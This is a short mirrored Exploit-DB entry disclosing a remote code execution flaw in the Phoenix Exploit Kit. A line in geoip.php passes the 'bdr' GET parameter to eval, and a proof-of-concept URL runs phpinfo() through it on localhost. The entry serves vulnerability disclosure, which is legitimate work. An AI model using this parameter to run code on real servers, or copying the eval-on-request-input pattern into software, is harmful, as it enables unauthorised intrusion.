Phoenix Exploit Kit – Remote Code Execution

• Exploit Database
• 12 阅读

• 作者： CrashBandicot
  日期： 2016-07-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40047/

• # Exploit Title: Phoenix Exploit Kit - Remote Code Execution
  # Exploit Author: CrashBandicot @DosPerl
  # Date: 2016-06-30
  # Tested on: MSWin32
   
  # Vuln file : geoip.php
   
  492.isset($_GET['bdr']) ? eval($_GET['bdr']) : explode('nop','nop nop nop');
   
  # PoC : http://localhost/Phoenix/includes/geoip.php?bdr=phpinfo();
  
  # Screen : http://i.imgur.com/E7RBBRk.png
  
  __END__